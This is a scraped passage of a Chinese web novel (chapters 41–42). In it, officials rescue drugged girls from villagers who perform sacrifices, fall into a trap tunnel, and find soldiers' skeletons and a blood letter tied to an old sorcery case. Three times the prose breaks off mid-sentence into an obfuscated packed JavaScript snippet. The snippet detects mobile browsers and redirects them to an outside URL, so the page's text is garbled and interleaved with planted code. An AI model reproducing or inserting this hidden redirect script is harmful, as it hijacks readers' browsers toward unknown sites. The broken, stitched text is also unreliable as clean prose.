“哎,这也就算了。谁知那老乞婆死了之后鬼魂还纠缠不休,引得全村人犯了魔怔,经常有疯了之后自相残杀的,甚至像厉鬼一样啃食同伴,他们‘吃人村’的名头也是这么来的。” 那声音细的说:“兄弟,你倒是知道不少。我们村子前不久不也闹鬼么,没想到这几天就没风声了,想来是那些神巫神通广大,震慑了它们。说起来这些事也着实伤天害理,我们什么时候才不干啊。” “这次祭祀不就是为了转我们村的运,好让我们别再干那些事么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13175231|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那声音细的松了口气,“那我们就看着这几个小姑娘,希望这是最后几个了。” “……” 到这,二人的谈话声渐止。 杜文焕又听了一会,再没听到别的声音。 他的声音压得极低,“这儿应该只有他们二人看守,我们速战速决将他们控制。” 众人都认同,关键是谁去? 杜文焕思忖,希夷脚上有伤,县尉胆子又小,孙恒人高马大,加上自己,应当可以在出其不意之时将他们制伏。 他将决定说给他们听,孙恒自然认同,程希夷虽想去但也没办法,县尉却嚷嚷着说:“巡抚,下官身强体壮,对付几个村民还是没问题的。” 谁知他一激动,这嗓子不免大了点,惊动了那两个看守人。 “谁?!是谁在那边?” 见他们被发现,杜文焕和孙恒也来不及突袭,二人对了个眼神,待那两人走近,一持剑一持刀冲了出去。 只听得兵器相撞,声音越来越响。 方才还掷下壮志豪言的县尉此时却原地踌躇不前,程希夷再也忍不了他,用那只未伤的脚,一脚把他踹了出去。 然后自己边观察他们打斗,边往姑娘们那边走去。 她尽量快地走到那几个少女前,摸了摸她们的脉搏和鼻息,还好都只是昏倒。 阿鸢和聋哑小姑娘身上只有些擦痕,而阿巧身上却有不少青紫的淤痕,将她扶起时,她呻吟了一声醒了过来。 阿巧慢慢睁开眼,先是下意识瑟缩了一下,待看清之后瞳孔一缩,半是惊讶半是惊喜道:“你,你真的回来救我们了?!” “是啊,我回来了。”程希夷对她温柔地笑了笑,又问,“你可以走吗?他们拖不了多久,我们还是尽快出去。” “我可以。”阿巧站起来,又去叫另外两人,可她们的迷药给得很足,怎么也叫不醒。 “扶着她们走吧。”程希夷扶起较重的阿鸢,让阿巧扶小姑娘。 这边程希夷救人,那边一直在打斗。 这两个村民的个头不小,手上又有大刀,而且是庄稼人,一股子力气,一时竟拿不下他们。 杜文焕不会武功,只能一边闪躲一边伺机而动。 凭借不知道从哪学来的招式,竟然也刺中了他们几剑,可惜伤得太浅。 县尉见状,忙上去帮忙,不想却让那村民躲过杜文焕本可以刺中的一剑。 杜文焕忙把剑一偏,免得伤了县尉,“……” 县尉浑然不觉,还得意洋洋地说:“大胆村民,还不速速投降,否则本官下一刀砍的就是你的脑袋!” 他步步紧逼,一时让村民落了下风,手中的刀也被一挑,飞了出去。 县尉正要讽刺那村民几句,余光却瞥见那刀往阿巧和小姑娘那飞去,若是不阻止,刀刃会直直刺中她们。 杜文焕离得远来不及阻止,程希夷扶着阿鸢走在后头也来不及。 只见本在专心对付另一个村民的孙恒将手中的刀用力投掷过去。 边吼道:“蹲下!” 两把刀飕飕穿空而过,一把追着另一把。 终于,孙恒的那把刀追上前头那把,将它从中劈开,而后插入阿巧脚前的土中,离阿巧堪堪只有一寸的距离。 真是千钧一发。 孙恒松了口气,旁边还拿着刀的村民见他松懈,抓住时机,一刀往他的胸口刺去。 孙恒闪避不及,被刺中了肩膀,一时血流如注。 他左手抓着村民的手,右手将刀拔出,一刀将村民结果。 而另一个被杜文焕用剑抵住了喉咙。 “我们先上去。” 41. 陷阱 孙恒的伤不重,他将倒地的村民踢到一边,收了刀,便上来替阿巧抱小姑娘。 阿巧受了点伤,又很瘦弱,扶着小姑娘也很吃力,方才死里逃生让她又添了一层惊吓,着实有些支撑不住。 她朝程希夷看一眼,得到对方的肯定后,就把小姑娘交给了孙恒。 孙恒见她恍恍惚惚要倒地的模样,也放心不下,一手将小姑娘夹在腋下,另一只手便来搀扶阿巧。 阿巧本想避开他的手,可对方以为她是要倒地,手上前一伸,用了点力气抓住了她的手臂。 “走吧。” 见孙恒没有丝毫要占便宜的意思,而且现在众人最重要的就是出去,阿巧也顾不得什么男女大防,低头颔首,顺从地被搀着走。 见她没事,程希夷松了口气,扶着阿鸢慢慢跟上众人的脚步。 “你的脚还好么?”杜文焕见她走来略有些吃力,关切地问。 “还好。”程希夷给了他一个轻松的笑容,额头的汗却掩饰不了。 “你且等一会,让县尉来吧。”杜文焕给一旁呆站的县尉一个眼神,后者生怕被斥责,见巡抚的意思只是让他帮忙背个姑娘,也顾不得作为官吏的身份了,急忙上前接下阿鸢。 杜文焕又用剑抵住没有死那个村民的喉咙,厉声质问他:“其他人呢?” 村民怪笑了一声,说:“不知道。” “你不怕死吗?”杜文焕的剑离村民的喉咙更近了一点,近到能感受到剑上的冷气。 “死了又怎么样,不过是具皮囊罢了。”面对死亡,村民的身体下意识发抖,他说出口的话却很猖狂,“等神巫收集我们的魂魄,再将魂魄附在巫偶之上,我们就又可以复活了!” 说到最后,他愈发得意,挑衅地看着杜文焕,后者见过多少嘴硬的犯人,倒是头一次见这种认为自己死了还可以复活的。 杜文焕冷冷地睨了他一眼,“既然你不怕死,那本官不伤你性命。但要想好好活着,呵,想必是未曾见过狱中那些刑具吧。到时候你就明白求生不得求死不能的滋味了。走!” 这次是杜文焕与村民走在最前,程希夷次之,孙恒一手夹着小姑娘,一手搀着阿巧紧跟着,县尉和背上的阿鸢殿后。 程希夷听到了刚才村民的那番狂言,她没立刻反应是怕除杜文焕外的其他几人对她有所怀疑,要是将她与巫师扯上关系就不好了。 此时她凑到村民旁,低声说:“你认得我吧?” “不认得。不对,你是………”村民从头至尾都没注意过她,等她这么一提醒方才反应过来。虽然换了衣裳,但她不就是逃出去的那个道士么! “你是那个道士!” 程希夷见他认出了自己,微微一笑,从怀中拿出之前从包袱拿出的几张符纸,“既然你认出了我,也应该知道是我将那厉鬼打得魂飞魄散。 你说自己不怕死是因为那些巫师可以收集你们的魂魄,那你也应该知道,小道最擅长的就是对付这种东西吧?” 说到后面,程希夷的自称一变,语气也沉了下去,脸上虽仍是带笑,但村民从灵魂里感到一股寒意。 “你,你不会的。”村民说这话显然自己也不大信。 “不如试一试?”程希夷晃了晃手中的符纸,笑着指了指一旁的杜文焕,“待会他用剑把你脖子一抹,小道立刻用这符纸禁锢住你的魂魄。听说魂魄的感知会比身体更灵敏哦,当然,你需要感受的主要是痛觉。” 杜文焕也配合地说:“她一下令,这把剑就会立刻在你脖子上割出个血口子。而且,本官提醒你,抹脖子的人不会立刻就死,他们通常是被自己的血呛死的。你不仅会感受到肉被划开的剧痛,而且会一点点如溺水般窒息。等你死了,魂魄也不会安生,就换她来折磨你。” “噗嗤。”程希夷被他这一本正经威胁的样子逗笑了,尤其是最后说换她来折磨村民的时候,她居然从中听出了几分骄傲? 而且那村民也确实被这番话给吓呆了。 “笑什么?”杜文焕不解,自己不是在陈述事实么,这么严肃的话她居然笑得很开心? “没什么。”程希夷止住笑,“只是在想杜大人平日审案的时候也是这般有趣么?真想看看这时候的杜大人。” “有趣?”杜文焕不懂她所说的“有趣”是指什么,“我现在调离大理寺,不必审案,你想看也没法看了。” “对哦,我都忘了。”程希夷眼神暗了暗,“破了那件案子之后皇帝肯定会升你的官吧?” 杜文焕眼中流露出几分讶异,“你竟不知道?” 程希夷摇了摇头,诚实地答:“不知道。” 杜文焕又问:“那你连皇帝赐我一座位于东街附近白虎坊的宅子也不知道了?” 这下轮到程希夷惊讶了,“你不住在杜府了?” “难怪……”杜文焕的眼睫垂下,薄唇抿了抿,自言自语,“难怪你不来白虎坊的宅子找我,而是去了我在杜府的书房。” 杜文焕自言自语的话虽轻,但她听到了,“你为什么会认为我知道这些?” 杜文焕转头意味深长地看着她,“此事我们自然有时间慢慢说,我们还有要事。” “要事”二字特意加重了语气。 程希夷知道他是在小小地报复她之前避开他的询问,而来大柳树村的事。 好吧好吧,一人打个一个哑谜,扯平了。 不过这儿确实不是闲谈的好地方,这村民刚才被镇住,得趁热打铁才行。 “那些村民在哪?”程希夷问。 此时的村民已经褪去之前的恐惧,一言不发地往前走。 他的倒三角眼滴溜溜转,余光不住瞥一旁的墙壁,同时在算脚下的步数。 “回答她的问题。”杜文焕的剑逼近。 “说,当然说。”村民顺从地说,“你们想知道什么?” “其他村民在哪?” “哦,你说这个。”村民说,“你们来的时候不是看到一个岔路口么,另一条就是他们去的地方。” 杜文焕觉得他的顺从有些古怪,但又想不出原因,“那条岔路口通向哪?” “村后山的那片坟墓。” 坟墓……程希夷见过那一片坟墓,那儿有一片两间屋子大的平地,而那下面埋着的都是一些冤魂。 程希夷眼神一凛,问:“他们去那做什么?那儿根本没有可躲的地方。而且,他们不是很怕那个地方吗?” “怕?你没镇住那个厉鬼之前当然是这样。”村民讥讽地看着她,“听神巫说,那儿大部分鬼魂因为怕你对它们动手,都躲起来了,剩下的都是些老弱病残的鬼魂,他们死了也威胁不了我们。” 程希夷愣住了,她竟好心干了坏事么? 作为道士,人与鬼之间,她一向选择救人。 可是在这个村子里,人竟比鬼恶。 “他们去那做什么?”程希夷回过神,问。 “一是为了镇压这些作祟的鬼魂,至于二么……”村民阴测测地笑了,“当然是为了祭祀。” 程希夷不相信,“不可能,阿鸢她不是没被带走吗?” “村子里适龄的姑娘又不止她一个,”村民的眼睛眯成一条缝,其中闪着诡异的光,“还有很多——” 村民扬声起来,连后头的阿巧也听到了。 “你们这些恶人,”阿巧憔悴的脸上满是恨意,“我们同在一村,是一族人。她们不是别人,是你们的侄女、外甥女甚至是女儿啊。为什么,为什么要为了所谓的‘金银运’这么做?” “有钱能使鬼推磨,”村民笑她天真,“没钱到了地府,连小鬼都要踩你一脚。我们这个村在皇城脚下穷了多少年了,好不容易有个机会发财谁不想呢?” 说着说着,他突然站住不走了,语气变得阴狠,“倒是你,村长本以为你是来劝她们乖乖接受命的,没想到你居然暗中助她们逃走。村长看在你是他侄女的份上没亲自动手杀你,但不代表我们想放过你。” 他转头扫视了一圈众人,“还有你们,刚好,就都给她们陪葬吧!” 杜文焕和程希夷一听这话不对,还没来得及控制他,他不知从袖中摸出什么,往地上一扔,霎时通道内烟雾弥漫。 村民趁他们分神捂住口鼻,立即倒退避开剑的锋芒,跑到离方才洞穴九十九步的一砖石旁用力一摁。 “轰隆隆——”尘封已久的机关携带灰尘和古旧的记忆开始沉重地转动。 “总算把你们都骗到这了,这儿就是你们的葬身之地!” 与此同时,机关启动的瞬间,地上空了个大洞。 站在陷阱边缘的孙恒反应快,将手中的小姑娘扔到阿巧怀中,推力让阿巧往后一倒,避开了陷阱。 他脚一点陷落的土块,借着轻功飞了上来。 殿后的县尉幸运地未受到波及。 然而其他两人却没有这么幸运。 离村民最近的杜文焕处在机关中心,顿时感觉脚下一空,就要坠入时,一只手抓住了他。 程希夷一只手抓着陷阱边缘断裂处,另一只手拉着杜文焕不放。 锋利的石块割破了她的手,鲜血从手掌顺着手臂流入她的衣裳,但她仿佛感觉不到疼痛似的,怎么也不愿放开。 “你?!” 可她终究支撑不了多久,没等杜文焕说什么,她的手一滑,二人就这么一块坠入陷阱之中。 …… 黑暗,又是一片黑暗。 程希夷最讨厌的就是黑暗的地方,因为她什么也看不见,在这一片黑暗之中只有她一个人一直走,然后回到原地。 手边怎么有个热热的东西? 她用手去摸,好像是一个人的胸口。 哦对了,她落入陷阱之中,在落入的那一刻,杜文焕将她抱在怀里,自己垫在身下,一块坠到了地上。 她没有事,但他应该受了不小的伤。 想到这,程希夷心头发紧,忙去唤他:“醒醒,醒醒。” “唔。” 身下的人慢慢醒转,咳了两声,迷茫地说:“这是在哪?” “我们在陷阱里。”程希夷见他醒了,松了一口气,语气也稍微轻松了一点,“能起来吗,我们去找找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13211046|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口吧。” 杜文焕浑身疼痛,努力了一会,还是没法从地上站起来,“我,我的肋骨和腿好像断了,可能没法跟你一块走了。” “没关系,没关系。”程希夷笑道,这带笑意的声音中却有一丝哽咽,“我一个人去找,你在这暂憩一会。不过这么黑,你要跟我说话哦,不然待会我找到路之后找不到你。我可不想丢下朋友。” “好。”杜文焕轻轻应下。 程希夷察觉到他语气的虚弱,忙说:“你不是想问我很多问题吗?刚才在上面,你说有要事,不好谈这个。你看这儿就我们二人,不怕有人偷听,想问什么便可以问了。” “问……”听到这个,杜文焕来了力气,他不知想到了什么,居然轻轻笑了,“对你这种骗子,我该从哪问起呢?” 程希夷听他来了劲,提起的心放下了些许,站起身,一边在黑暗中摸索,一边说:“从哪里都可以,你想问什么我都会回答,绝不说谎。” “嗯……”杜文焕清朗的声音在黑暗中被拉得很长,“方才你为什么要舍命拉住我。” 程希夷不假思索,“这个理由与你拿自己垫在下面的理由一样。” “是嘛……”杜文焕的语气不知道为什么有些失落,“可还是不一样的。” 程希夷不解,“哪里不一样?” 杜文焕说:“很不一样,你当时心里想的是朋友之义,可我……” 偏偏想知道其中有无男女之爱。 但他不会这么问,顿了顿,又说:“你一开始是为了什么接近我?” 程希夷心一跳,她此刻踌躇了,不是怕那些事被暴露,而是害怕他一旦知晓,连朋友也做不成了。 杜文焕察觉到她的犹豫,体贴地说:“若你不想说,我便不问。” 听他这么说,程希夷心里的负疚感更深,“说,我告诉你。还记得我跟你说那个用鲜血与鬼神交易的巫术么?” “记得,”杜文焕说,“当时你只是取了我一些鲜血和精气罢了,我也因为你的帮助顺利破获了那件案子。你说鬼神是讲信用的,果然如此。” “嗯,但我的目的,或者说是任务,是让你利欲熏心,愿意付出更多代价与鬼神交易,直到完全掌控你的心智。” “你说‘任务’?”杜文焕抓到关键词,“你是听从于谁吗?” “是,”程希夷下意识点点头,尽管他不可能看见,“不过我也不知道她是谁。两个多月以前,我刚来京城,她忽然找上我,将我的魂魄抽离,等完成任务才让我回魂。” 杜文焕缓缓地说:“但你没有完成任务。” “是啊,我也不知道为什么,她对我苛刻但有时却手下留情,最终还是让我回魂。我不愿再听从她,回魂之后,拿了她给我的一百两白银就离开京城了。” “然后你就到了这里。”杜文焕听完这番话,又结合她之前所言在大柳树村的经历,将她这一路的行迹了解个大概。 程希夷本是鼓起勇气说出一开始是出于利用他的目的,可他自始至终却很平静,这让她很奇怪,“你不怪我么?” “怪你?当然会怪你。”杜文焕躺在地上看着一望无际的黑暗,“可你还有很多事我都不了解,等全知道了再责怪你也不迟。” 程希夷见他语气中没有丝毫疏远,心里也活泼起来,“我本以为杜大人是个眼睛里容不得沙子的人,没想到对我这种骗子如此宽容。” “不,我并不宽容。”不知道为什么,在这种地方,杜文焕心上的拘束松动了,往日的审慎克己,在这好像没有必要,“作为一个尽职尽责的官吏,对你这种骗人的罪犯,肯定要抓回去细细审问。” 程希夷哈哈一笑,“杜大人想把我抓回大理寺么?” “不,”杜文焕否定道,“我已经不在那任职,而且我是苦主,自然不必提交大理寺。” “那苦主杜大人是想放我一马?” “我不宽容……”杜文焕重复之前的话,“欺骗我的自然要她受到惩罚,至于惩罚是什么,等带回府邸之后再说。” 程希夷在黑暗中一怔,“你想把我带回你府里?” 杜文焕听不出她乐意还是不乐意,心里没把握,“你……不愿意?” 这话换来的是黑暗中的沉默。 程希夷也说不上自己的感觉,愿意?可自己还要去天末国。不愿意?可…… 好吧,她对自己的心承认,她担心再也见不到他。 方才说那些话时还觉得有些热的杜文焕被这死寂浇了一盆冷水,冷得他的语气也有点发抖。 他故作轻松地笑了一声,说:“若,若你不愿意,回京城我会替你找一住处。等你养好伤之后,再走也不迟。如今京兆府下各县城门口卡得愈发严厉,待这一阵过去,你行动会方便许多。” 他如此诚挚地为她考虑,程希夷摸了摸止不住快速跳动的心,仰起头,朝他的方向一笑,“我答应跟你回京城,跟你回你的府邸。” “真的吗?!”杜文焕本来酸涩的心情还未来得及喜悦,忽然听到她一声惊呼。 “我摸到墙壁了!” 42. 共苦 程希夷摸那洞壁,手掌上沾了些粗糙颗粒,大约是碎石子。 在她脚边好像有个什么东西,她用手去摸,先是摸到布料一样的物事,然后是冰冰凉凉的像玉石一样光滑却又跟木棍一样坚硬的东西,它从上到下逐渐变细。 动物的骨头?她猜想。 直到她摸到脚趾骨头的那一段,她才反应过来。 这是个人,或者是是一具骷髅! 在这具骷髅旁,她摸到两块类似于打火石的东西,心中一喜。 虽然不知道还能不能用。 “杜大人,我们有打火石可以照明了!” 一片黑暗中,没有人回答她,静得只听得到她自己的呼吸声。 她慌了神,方才她只顾着摸索,怎么只这一会他就不说话了? “杜大人,杜大人?”她语气颤抖,“杜大人你在哪,说句话啊,我,我看不见你。” 还是没有人回答。 程希夷拿起那两块打火石,想靠它生出点火光,可手一直在抖,怎么擦也擦不燃。 她一边对付那打火石,一边往来时的路走去,可黑暗之中几乎难以辨认方向。 “杜大人,你说句话,我真的看不见你。” 尾音几乎带了哽咽。 “嗯,咳咳,我在这里。”伴随着几声咳嗽,那期待已久的如竹般清朗淡然的声音终于出现。 他的声音虽然有些虚弱,但听着应该还有点力气。 程希夷一直发抖的手上落了几滴温热的液体,大约是这洞里漏水吧。 “嗯。”她刚想开口,可哽咽声卡在喉咙,只能草草应了一声作为掩饰。 她抹了一把脸,闭上眼睛深吸了一口气,把方才那些感情压下去后,笑了笑,说:“杜大人,我还以为你故意不理我了。” “怎么会呢……”因为失血过多,杜文焕的头有些发晕,说话也有气无力,但他还是撑着回答,“方才只是累了想休息一会。” “杜大人怎么可能会累呢,”程希夷的话带着调侃,“杜大人当初查案可是三更半夜也还在书房看卷宗,次日卯时照常去大理寺。” “嗯……那不是因为你半夜才来么?”杜文焕的声音越来越小,模模糊糊的。 程希夷慌忙高声喊:“杜大人!” “怎么了?”杜文焕刚闭上的眼睛又缓缓睁开,他应声道。 “你之前不是说想带我回京城么,带我回去之后你想问我什么?”程希夷想让杜文焕多想些问题,这样就不会昏过去了。 “很多,很多问题。” “比如呢?” “你从哪里来,为什么来京城,为什么要骗我,只是为了骗我么,还有没有别的……” 程希夷笑道:“杜大人的问题太多了,我现在就可以一个个回答。但我有个条件。” “什么?” “我说一句,你就要答一句,应一声,不然我一个人在这唱独角戏似的,说话都没人捧场,怪无趣的。” “好。”杜文焕轻声应下。 程希夷终于把那打火石磨出火星来,又将自己身上的衣裳撕了一块,凑去燃那火星。 火星遇到干燥的绸缎,如攀爬般迅速窜起,程希夷忙用那骷髅身上的衣裳续上火苗。 “我以前住在山上,杜大人,你在知道我的身份之前就没想到吧?” “猜得出来。”天地钟灵毓秀,方才有这么一个姑娘吧。 “那你肯定不知道我在的那座山,听我师尊说那是一座仙山。” “仙山?” “嗯,它叫仙渺峰,传闻有仙人在那山巅羽化登仙,而山巅云雾聚集,渺渺茫茫时,就是那仙人偷下凡尘的时候。” 借着火光,她看到了好几具尸骨,将它们身上的衣服全扒下来扔进火堆。 又在里头找到了一支火折子,并没有进水,还可用。 “那山峰的景色听起来很美。”杜文焕根据她的描述,想象了一下。 “是很美,”程希夷一边燃起那火折子一边说,“在那山巅有一棵参天古树,它矗立在那已经几百年了,即使只是露出地面的树根也有一个人那么大。在它的树冠下,可以避开风雨,也可看旭日繁星。我常在那下面练剑修行。” 杜文焕想象年幼的希夷一个人在山巅舞剑,繁密的枝条垂落,半遮住她的身影。 等练剑练累了,她把剑一扔,坐在树荫处慢慢睡着了,“你会用剑?可我从没看你用过。” “我会,只是没地方给我施展而已。”程希夷强烈表示不是她没能力,“你若是想看,出去之后我用给你看。” 所以要撑下去。 “嗯。你总是一个人练剑么?” “是。不过我还有师姐师兄,他们大部分都是师尊捡来的孩子,有些人整日偷懒,有些人刻苦修行。不过他们都是一些好人,对我就像是家人一样。” 说到“家人”,她顿了顿。既然他们给了她家人的感觉,那她所寻找的究竟是什么,为什么对“真正的家人”如此憧憬呢? 但她现在不想纠结这个问题,问:“杜大人,你也有家人吧?” “嗯,我有一个兄长常年在外征战……”杜文焕头很晕但还是努力回忆,“还有个弟弟。” “杜大人,你的爹娘呢,他们待你好么?” 程希夷用火折子照亮前路,沿着洞壁一路走过去。 “他们……”杜文焕叹了一口气,“算了,说出来会显得我不孝。” 程希夷“噗嗤”一声笑了,“我懂了。” “其实我的生母应该是个很不错的妇人,”杜文焕迷迷蒙蒙地说,“但我已经不记得了,只偶尔在老仆人口中听到些赞美的话语。至于我的继母,只能说见仁见智,但她对以前的我确实是不太好的。” “你住的西院偏僻而幽静,是为了避开她去那住的么?” 程希夷蹲下察看那些尸骨,骨头碰撞发出咚咚哒的声音。 他们骨头上没有被劈砍的痕迹,也没有毒药导致的发黑,每具尸骨动作各异,看得出死前很痛苦。 “我记不大清了。” “杜大人也有不记得的事么?”程希夷有些诧异,她想到自己记不得七岁之前发生的事。 “嗯,十五岁那年生了场大病,”杜文焕缓缓说,“许多记忆一直很模糊。” 他听到骨头碰撞发出的声音,问:“你在做什么?” 程希夷在这些尸骨中翻找出一些他们生前携带的行李,“杜大人,我发现这里有许多尸骨,他们好像都是一些兵士的残骸。” 她拿起一具尸骨的腰牌,将火折子凑近,念上头的字,“段鸣,金谷州刺史护军校尉,金谷州岁收县人士,永熙二十八年生人。” “刺史护军?”杜文焕听她念完腰牌的字,十分奇怪,“按年龄算,这人活到现在应该已经三十八岁,当年的护军校尉为什么会死在这?” “不知道,这个村庄真是疑点重重。”程希夷倒没多在意,现在最重要的是出去,可她怎么找也找不到出去的办法。 难道要像这些尸骨一样困死在这里了吗? “希夷,”杜文焕虚弱的声音在空寂的山洞回响,“你说说那些尸骨的模样。” “好。”程希夷不明白他为什么要问这个,但还是照他所言,细细观察,“这里一共有四具尸骨,只有一具尸骨上有腰牌。这些人生前可能是饿死的,骨头没有任何伤痕。” “他们的动作怎么样,手脚之类的。” “他们的手……”程希夷刚才为了生火,扒了其中一具尸骨的衣服,此时才注意到那具尸骨的手上还握着一张布。 她将那尸骨的骨指掰开,拿出那张布,展开一看,上面血迹斑斑,是一封血书。 她连忙告诉杜文焕:“杜大人,我发现一封血书!” “读来看看。” “嗯!”程希夷依言念上头的血字: “告楚大人,巫师贼众诡计多端,连同村民将属下困于密洞。属下四人恐折命于此,请大人代为照抚家中亲眷。此生与大人共剿贼众,肃清崇巫风气,属下不负于心!” 程希夷念完,“就到这了。” “嗯……”杜文焕沉吟了一会,虚弱地说,“还记得当初郑敬荣所说巫术案么?” 程希夷骤然睁大双眼,“巫,巫术案?这与巫术案有什么关系?” 杜文焕没发觉她语气的怪异,只当她不知道,与她说自己所查之事,“郑敬荣与李允当年写密信检举楚国公之子联合巫众妄图迷惑皇帝,篡权夺位。 在官员被杀案结案后,我又去大理寺案牍库翻了翻当年之事。可惜此案只有草草几笔的描述。我又去了刑部,但没有皇帝的谕旨,谁也不能察看巫术案的卷宗。” 程希夷喃喃:“此案如此机密么?” “是,不过通过大理寺的记载,我也知道了一些线索。”杜文焕说,“巫术案虽说主犯是楚国公之子,但牵扯者甚众。三年之后,当年与楚国公交好的吏部尚书陆知一家也被卷入其中。当时查办陆府的酷吏残忍,见其闭门不出,竟一把火烧了陆府,全家上下四十多口无一生还。” 程希夷攥紧了手中的血书,指甲几乎陷入肉中。 “陆家定是被冤枉的!”她不记得小时候的事,甚至不知道自己究竟是不是陆知之女陆卿云,但她见过陆家的牌位,那间房里阴冷幽暗,牌位上头萦绕着徘徊不去的怨气。 杜文焕注意到她情绪有些激动,问:“你怎么了?” “没什么,”程希夷忙说,“只是见不得冤案罢了。” 为了转移话题,程希夷左右察看,想再找到一些线索。 这些尸骨虽动作各异,或趴在地上,或倚着洞壁,但他们的手和头都朝着一个方向。 她跟杜文焕说了她的观察。 “你往前找找,”杜文焕说,“他们定是发现了什么。” 程希夷往前走了几步,果然在最前的那具尸骨的手边发现了一个凹进去的小洞。 “这里有个凿出来的小洞,他们似乎想要挖洞出去,但还未挖完就饿死了。”程希夷拿起旁边一块凿子形状的石头,说。 杜文焕思索了一会,“你敲敲那块洞壁。” 程希夷拿起一块石头,敲了敲洞壁,听到的回声空而脆,并不是沉闷的回响。 “这里面,似乎是空心的?” “这就对了,咳咳,”杜文焕捂着发闷的胸口,咳了一声,“他们找对了地方,可惜已经没有太多力气凿了。” “我试试。”程希夷担忧地说,“你别再说话,清醒一点等我。” “好。”杜文焕在她看不见的地方乖巧地点了点头。 程希夷转头摸那石壁,石头坚硬,即使是成年男子,砸穿石壁也不是易事。 他们在最后时刻想的竟是凿穿洞壁么,凭借他们剩下的力气,这基本是不可能的。 会不会还有别的原因和线索? 程希夷蹲下去,摸了摸那凿出来的小洞,手感却不是石头的手感,而更像沙子和土? 看样子这坑洞不是天然形成的,而是后天搭建的。 也许搭建的工匠偷工减料,这洞壁外头是石头,里面填的都是土。 用土与沙混合做黏合盖房子本是正常,但这处里头几乎全是土,外头草草填了几块石头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13233152|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以并不坚固。 程希夷拿起那块凿子状石头,沿着那个小洞,一下一下地重重击打在缝隙处。 石头凿子锋利,磨破了她的手掌,但她挥舞的速度更快了。 要快点,再快一点。不然她真的怕杜文焕坚持不住。 刚刚他的声音已经非常虚弱了,所以她才让他不再说话,省点力气。 一下,又一下。她把石头砸开,又用手挖去里头的泥土,终于看见了一点光亮。 “最后一下!” 随着她的声音落地,那处偷工减料的石壁终于支撑不住,塌了个大洞。 “咳咳咳。”她慌忙躲开,还是被灰尘给呛到了。 前方隐隐透着光亮,程希夷心中一喜,回头奔向杜文焕。 “杜大人,我找到路了!” “嗯,好姑娘。”黑暗之中,有人温和地接下了她的话。 程希夷寻着声音,来到杜文焕身旁。 杜文焕俊秀的脸苍白,往日一丝不苟的发丝凌乱地遮住了眼睛,嘴唇发白,呼吸微弱。 程希夷拨开他的发丝,轻轻拍拍他的脸,焦急唤道:“杜大人,你醒醒。” “嗯,我醒着。”杜文焕的眼睛依旧没有睁开,嘴动了动,回答她的话。 “我这就带你出去。”程希夷把他扶起,半背着他一步步往出口走去。 可她一个十七岁的姑娘,刚才又用了那么多力气,怎么背得动一个成年男子呢? 没走几步,她的腿已经几乎迈不开了。 背上的杜文焕察觉到了,挣扎着要下去,“背着我你走不出去的。” “不,你别动,”程希夷的语调里带的明显的哭腔,“杜大人,我求你别动,我怕我一松手就真的背不动你了。” 杜文焕身体一僵,果然不再挣扎,他在程希夷耳边轻叹,“为什么拼了命也要救我呢?” 这句话不止在问程希夷,也在问他自己。 他值得被这么一个善良的姑娘舍命相救吗? 在杜府,他可有可无。在朝廷,他也不过是这个朝堂棋局里的一枚棋子。 “因为你的命很重要。”程希夷艰难地往前挪去,“当了鬼魂之后,我才发现拥有能在阳光下自由行走的生命是很珍贵的。 作为人可以品尝精致味美的食物,可以看一波三折的话本,可以体验这人间的喜怒哀乐。如果可以救,我不想放弃任何生命。” “我可以理解,‘天地不仁以万物为刍狗’,”杜文焕闭上眼睛,轻轻释然地笑了,“你对待一切都是一样的,万物在你眼中没有什么不同。” 程希夷摇了摇头,眼中的光芒闪烁,“不一样,我也是人,也会有人的感情和偏爱。杜大人,对我来说,你的命尤其重要。” “是嘛,我,我很高兴你这么说。”杜文焕意识已经逐渐模糊,分辨不出她话中的情愫是自己幻想还是真实的。 昏过去之前,他偷偷地、小心地、充满私心地吻了吻她颈间的发丝。 “杜大人,杜大人!”程希夷惊慌失措地唤他。 察觉到他只是昏过去,她才没有哭出声。 终于走近那光亮处。 然而她才发现,那不是日光,而是众多烛火簇拥起来的光。 在尽头处,几个带着面具的巫师目光炯炯地看着她,眼中闪着幽暗的光,“我们等你很久了。” “你们是谁?” 巫师们并没有回答,而是说:“天君想要见你。” 说着,他们便要上来把她背上的杜文焕带走。 “你们滚开!”程希夷此时血气上涌,精神紧张,脑子动得极快,很快就猜到了他们的意图。 “看样子我对你们来说也是很重要的棋子。”程希夷冷冷地扫视了他们一圈,“我当然可以跟你们去见什么‘天君’,但你们必须要把我背上这个公子医治好。” 领头的巫师顿了顿,浑厚的声音应下她的要求,“可以。” “这可没这么简单。”程希夷目光厌恶地看着他们,“我需要的不是你们那糊弄人的把戏,是真正把他治好。” 